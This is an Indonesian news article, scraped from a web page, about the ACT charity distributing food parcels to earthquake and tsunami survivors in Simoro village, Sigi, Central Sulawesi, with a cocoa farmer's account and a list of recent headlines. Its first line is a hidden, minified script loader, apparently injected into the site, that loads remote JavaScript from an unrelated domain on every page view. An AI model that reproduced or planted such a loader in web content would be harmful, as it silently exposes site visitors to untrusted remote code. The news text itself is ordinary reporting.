(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

ACT Kembali Kirim Bantuan Logistik di Gumbasa


SIGI, Aksi  Cepat Tanggap (ACT) terus menggalakan bantuan terhadap para korban Gempa dan Tsunami yang melanda Sulawesi Tengah. Tidak hanya dipusat kota, ACT juga menyalurkan bantuan kepada para korban yang tinggal di wilayah pedalaman. Kali ini ACT mengirim truk logistik dari Palu ke Gumbasa tepatnya di Desa Simoro, Kecamatan Gumbasa, Kabupaten Sigi, Senin (5/11)

Menempuh waktu sekitar dua jam dari Kota Palu untuk truk logistik ACT tiba di Posko Wilayah Gumbasa. Sejumlah paket sembako berisi beras, minyak goreng, biskuit, dan keperluan dapur lainnya dibagikan ke lebih kurang 200 KK di Desa Simoro. Hari itu pembagian sembako dibagikan di dua titik. Pertama di Posko Wilayah Gumbasa, kedua di rumah ketua RT 01.

Komandan Posko ACT Wilayah Gumbasa Dede Sugiana mengungkapkan, budaya guyub dan saling membantu di masyarakat Desa Simoro adalah contoh baik di tengah suasana prihatin pascabencana. “Secara dampak lumayan banyak. Di sini situasi kondusif dan masyarakat kooperatif,” papar Dede.

Ia juga mengatakan selang hari setelah gempa, masyarakat pun segera bergotong royong mendirikan tenda di rumah-rumah mereka. Kini, hampir sebagian besar juga masyarakat sudah kembali ke rumah dan memulai aktivitas. “Kita ingin memberikan bantuan tepat sasaran dan tidak menimbulkan hal-hal yang tidak diinginkan,” lanjutnya.

Gempa dan Panen Kakao Menurun

Aema (60) adalah salah satu penyintas  gempa di RT 01 Desa Simoro. Sore itu ia sedang memisahkan biji kakao dari baboli (kulitnya). Ia dan keluarganya memiliki pohon kakao di hutan.  Sayangnya, beberapa bulan ini panen kokoa sedang tidak bagus.

Aema dan keluarga biasa menjual hasil panen mereka ke kota Palu. Ia menjual biji kakao kering, per kilonya dihargai Rp 30 ribu. Sedangkan kulit biji kakao (mereka menyebutnya baboli) dihargai Rp 10 ribu per kilo gramnya. Belum lagi, pascagempa aktivitas perdagangan belum kembali normal.

Saat ini, masyarakat sebagian besar menggantungkan kebutuhan sehari-hari pada bantuan. “Terima kasih, sangat terbantu,” tutur Aema ketika bantuan logistik ACT menyambangi rumahnya.

Bencana gempa, magrib 28 September lalu, memang menyisakan ingatan menyedihkan bagi Aema. Ia yang nyaris tak sadarkan diri karena guncangan gempa dan rumah yang kini retak, bukan alasan untuk hidup dalam kepasrahan.(act)

Reporter : ACT
Editor : Chell

Desy Arfianty

Recent Posts

Masjid Agung Al Akbar Balangan Sedia 200 Porsi Berbuka Puasa

KANALKALIMANTAN.COM, PARINGIN - Selama bulan Ramadan 1447 Hijriah, pengelola Masjid Agung Al Akbar Balangan menyediakan… Read More

2 jam ago

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

3 jam ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

15 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

15 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

18 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

24 jam ago

This website uses cookies.